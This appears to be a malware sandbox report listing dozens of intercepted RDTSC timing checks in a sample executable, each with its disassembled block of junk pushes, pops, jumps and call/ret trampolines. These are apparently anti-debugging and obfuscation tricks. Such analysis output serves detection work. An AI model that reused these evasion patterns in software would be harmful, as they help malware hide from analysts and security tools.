Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610A03 second address: 610A0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611A00 second address: 611A1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F862h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611A1C second address: 611A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA57532F8D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611A27 second address: 611A2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613AB6 second address: 613AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA57532F8E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop ecx 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA57532F8DEh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619037 second address: 619061 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F868h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FA57532F856h 0x00000011 js 00007FA57532F856h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619541 second address: 61959C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007FA57532F8D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA57532F8E2h 0x00000011 push edi 0x00000012 jmp 00007FA57532F8DFh 0x00000017 jmp 00007FA57532F8E7h 0x0000001c pop edi 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA57532F8E2h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61959C second address: 6195A6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA57532F85Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61970C second address: 61972D instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA57532F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FA57532F8E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6198A1 second address: 6198B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA57532F85Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6198B2 second address: 6198C2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA57532F8D6h 0x00000008 js 00007FA57532F8D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6198C2 second address: 6198D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F85Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BB10 second address: 61BB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BB14 second address: 61BB2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F860h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BCFE second address: 61BD04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BDBA second address: 61BDBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BDBF second address: 61BDC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BDC5 second address: 61BDE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BDE0 second address: 61BDE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BEBD second address: 61BECE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F85Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C34F second address: 61C361 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b jnl 00007FA57532F8D6h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C361 second address: 61C3A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FA57532F856h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebx 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FA57532F858h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 mov dword ptr [ebp+1248F5DEh], ecx 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 push edx 0x00000033 je 00007FA57532F856h 0x00000039 pop edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C8A1 second address: 61C8AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C8AB second address: 61C8C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F860h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C8C6 second address: 61C8CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C943 second address: 61C947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C947 second address: 61C973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FA57532F8D8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61C973 second address: 61C977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61D5DE second address: 61D5F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E954 second address: 61E95B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F3CA second address: 61F3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F3CE second address: 61F47C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F860h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FA57532F866h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007FA57532F863h 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a jns 00007FA57532F85Ch 0x00000020 popad 0x00000021 nop 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007FA57532F858h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 00000017h 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c push 00000000h 0x0000003e jo 00007FA57532F85Ah 0x00000044 mov di, 74ECh 0x00000048 push 00000000h 0x0000004a jbe 00007FA57532F856h 0x00000050 xchg eax, ebx 0x00000051 jmp 00007FA57532F85Ch 0x00000056 push eax 0x00000057 pushad 0x00000058 jmp 00007FA57532F85Ch 0x0000005d pushad 0x0000005e jmp 00007FA57532F85Bh 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 620ACA second address: 620AD0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6214A9 second address: 6214AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6214AD second address: 6214B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6214B3 second address: 6214B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621EBD second address: 621EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621EC2 second address: 621F39 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FA57532F85Ch 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e adc edi, 5EE7BB36h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FA57532F858h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 add dword ptr [ebp+122D3663h], edi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebx 0x0000003b call 00007FA57532F858h 0x00000040 pop ebx 0x00000041 mov dword ptr [esp+04h], ebx 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebx 0x0000004e push ebx 0x0000004f ret 0x00000050 pop ebx 0x00000051 ret 0x00000052 mov edi, dword ptr [ebp+122D1FFBh] 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621F39 second address: 621F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA57532F8D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621F44 second address: 621F4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621F4A second address: 621F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624952 second address: 624959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625EA7 second address: 625EBA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FA57532F8D6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625EBA second address: 625EC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625EC0 second address: 625EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625EC4 second address: 625F2E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FA57532F858h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push esi 0x00000028 call 00007FA57532F858h 0x0000002d pop esi 0x0000002e mov dword ptr [esp+04h], esi 0x00000032 add dword ptr [esp+04h], 00000015h 0x0000003a inc esi 0x0000003b push esi 0x0000003c ret 0x0000003d pop esi 0x0000003e ret 0x0000003f jnl 00007FA57532F85Ch 0x00000045 mov edi, 4ADBB243h 0x0000004a push 00000000h 0x0000004c and ebx, dword ptr [ebp+122D3A5Bh] 0x00000052 xchg eax, esi 0x00000053 push edi 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625F2E second address: 625F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625F32 second address: 625F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007FA57532F856h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62805C second address: 628078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA57532F8E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627211 second address: 627217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627217 second address: 627220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628349 second address: 62834D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627220 second address: 627224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6291D0 second address: 6291D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627224 second address: 62723A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA57532F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f je 00007FA57532F8D6h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62723A second address: 62723F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B0F4 second address: 62B0FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A27A second address: 62A280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62A280 second address: 62A2AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA57532F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FA57532F8DFh 0x00000010 jng 00007FA57532F8DCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C027 second address: 62C02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B2CC second address: 62B34A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, 32773B37h 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FA57532F8D8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f mov dword ptr [ebp+1246222Bh], eax 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c jmp 00007FA57532F8DDh 0x00000041 sub dword ptr [ebp+122D28D9h], edi 0x00000047 mov eax, dword ptr [ebp+122D0C3Dh] 0x0000004d mov bx, 88B0h 0x00000051 push FFFFFFFFh 0x00000053 xor edi, dword ptr [ebp+122D39ABh] 0x00000059 mov dword ptr [ebp+122DBB98h], esi 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FA57532F8E1h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C1C9 second address: 62C1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FA57532F856h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C1D9 second address: 62C27F instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA57532F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edi 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FA57532F8D8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov ebx, dword ptr [ebp+122D1FDEh] 0x00000030 push dword ptr fs:[00000000h] 0x00000037 mov ebx, dword ptr [ebp+122D2C25h] 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov di, cx 0x00000047 mov eax, dword ptr [ebp+122D07EDh] 0x0000004d sub dword ptr [ebp+122D1FE9h], esi 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push ebx 0x00000058 call 00007FA57532F8D8h 0x0000005d pop ebx 0x0000005e mov dword ptr [esp+04h], ebx 0x00000062 add dword ptr [esp+04h], 00000017h 0x0000006a inc ebx 0x0000006b push ebx 0x0000006c ret 0x0000006d pop ebx 0x0000006e ret 0x0000006f mov ebx, 75D6A8C7h 0x00000074 mov edi, dword ptr [ebp+1245D285h] 0x0000007a nop 0x0000007b pushad 0x0000007c jmp 00007FA57532F8E9h 0x00000081 push eax 0x00000082 push edx 0x00000083 jp 00007FA57532F8D6h 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F268 second address: 62F2F9 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA57532F867h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FA57532F858h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 add ebx, 1F500F80h 0x0000002d sub bx, 7A72h 0x00000032 push 00000000h 0x00000034 call 00007FA57532F864h 0x00000039 push eax 0x0000003a cld 0x0000003b pop edi 0x0000003c pop ebx 0x0000003d push 00000000h 0x0000003f push ecx 0x00000040 mov ebx, dword ptr [ebp+122D1922h] 0x00000046 pop edi 0x00000047 xchg eax, esi 0x00000048 jnp 00007FA57532F85Ah 0x0000004e push eax 0x0000004f pushad 0x00000050 jmp 00007FA57532F861h 0x00000055 pushad 0x00000056 jnp 00007FA57532F856h 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63128C second address: 631291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E498 second address: 62E49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E49D second address: 62E4A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633286 second address: 633309 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add dword ptr [ebp+122D2C3Eh], edx 0x00000011 pushad 0x00000012 mov edx, dword ptr [ebp+122D1C44h] 0x00000018 sub bl, 00000047h 0x0000001b popad 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebp 0x00000021 call 00007FA57532F858h 0x00000026 pop ebp 0x00000027 mov dword ptr [esp+04h], ebp 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc ebp 0x00000034 push ebp 0x00000035 ret 0x00000036 pop ebp 0x00000037 ret 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007FA57532F858h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 00000019h 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 sub ebx, dword ptr [ebp+122D3C1Bh] 0x0000005a jp 00007FA57532F85Bh 0x00000060 xchg eax, esi 0x00000061 jmp 00007FA57532F85Ch 0x00000066 push eax 0x00000067 push edi 0x00000068 push eax 0x00000069 push edx 0x0000006a push esi 0x0000006b pop esi 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634232 second address: 634255 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA57532F8EAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634255 second address: 63425B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6343D5 second address: 634450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FA57532F8D6h 0x00000009 jng 00007FA57532F8D6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 clc 0x00000016 push dword ptr fs:[00000000h] 0x0000001d add dword ptr [ebp+122D2DF2h], edi 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a jnl 00007FA57532F8D8h 0x00000030 mov eax, dword ptr [ebp+122D1699h] 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007FA57532F8D8h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 00000018h 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 adc bl, 00000026h 0x00000053 push FFFFFFFFh 0x00000055 adc bl, 00000000h 0x00000058 mov bl, ACh 0x0000005a nop 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007FA57532F8E6h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634450 second address: 634455 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634455 second address: 634463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634463 second address: 634467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
